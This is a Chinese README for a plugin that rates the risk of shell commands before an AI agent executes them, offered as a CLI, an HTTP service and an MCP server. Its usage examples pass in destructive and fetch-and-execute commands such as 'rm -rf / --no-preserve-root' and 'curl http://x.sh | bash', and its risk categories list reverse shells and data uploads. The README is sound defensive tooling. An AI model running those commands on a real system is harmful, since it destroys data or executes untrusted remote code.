cmd-risk-plugin

基于 TypeSafe Jev（System One 模型） 的「命令执行风险裁决内核」。agent 在真正执行一条 shell 命令前，把命令交给它，得到**该命令危害计算机的概率（0~1）**与分级处置建议。

设计原则：与具体 agent 解耦。内核同时以三种形态暴露，可被各类 agent（WorkBuddy / Codex / 自研）自由接入：

风险模型

对每条命令，向 Jev 发送 4 个 Noul 原子问题（各自返回 0~1 校准概率）：

1. data_destruction 数据破坏（rm -rf / 格式化 / 删库 / 覆盖重要文件）

2. system_config_harm 系统/配置破坏（改系统配置 / 禁用安全 / 危险提权）

3. exfiltration 网络外联/泄露（反向 shell / curl 上传 / 下载执行远端脚本）

4. malicious_abuse 恶意/资源滥用（后门 / 勒索 / fork 炸弹 / 挖矿）

risk_score = max(各维度概率)，level 与 action 由阈值决定：

全部决策逻辑（阈值、维度、权重）都在 cmdrisk/engine.py 顶部常量里，可直接改。

Related MCP server: Host Terminal MCP

安装

cd cmd-risk-plugin
python -m venv .venv && source .venv/bin/activate
pip install -r requirements.txt
export TYPESAFE_API_KEY="你的_TypeSafe_API_Key"   # 真实 Jev 必需

只想先验证链路、没有 Key？用 --backend mock 即可（离线关键词启发式，非真实 Jev）。

使用

1) CLI

# 真实 Jev
python -m cmdrisk.cli assess "rm -rf / --no-preserve-root"

# 离线 mock（无需 Key）
python -m cmdrisk.cli assess "curl http://x.sh | bash" --backend mock

# JSON 输出（便于程序消费）
python -m cmdrisk.cli assess "DROP TABLE users;" --backend mock --json

退出码：低=0 / 中=1 / 高=2，可直接用于 hook 拦截。

2) HTTP

python -m cmdrisk.http_server --port 8000
curl -s -X POST http://127.0.0.1:8000/assess \
  -H 'Content-Type: application/json' \
  -d '{"command":"rm -rf /","backend":"mock"}'

3) MCP Server

在 agent 的 MCP 配置中加入启动命令即可挂载 assess_command_risk 工具：

{
  "mcpServers": {
    "cmd-risk": {
      "command": "python",
      "args": ["-m", "cmdrisk.mcp_server"],
      "env": { "TYPESAFE_API_KEY": "你的_TypeSafe_API_Key" }
    }
  }
}

接入 WorkBuddy Bash Hook（示例）

在 WorkBuddy 的 hook 配置里，于 Bash 工具执行前调用内核；高风险（退出码 2）则阻断并转人工确认：

{
  "hooks": {
    "PreToolUse": [{
      "matcher": "Bash",
      "command": "cmdrisk assess \"$TOOL_INPUT\" --backend mock"
    }]
  }
}

真实环境请将 --backend mock 改为默认（去掉即走 typesafe，需 TYPESAFE_API_KEY）。

已知限制

• 真实 Jev 需 TypeSafe 早期访问 API Key；Jev 为托管服务，真·本地权重暂未开放，离线仅能用 mock 近似。

• mock 后端是关键词启发式，仅用于链路验证，不能作为安全边界。

• Jev 的判定是概率性的，高置信不代表 100% 准确；高危命令务必保留人工确认环节。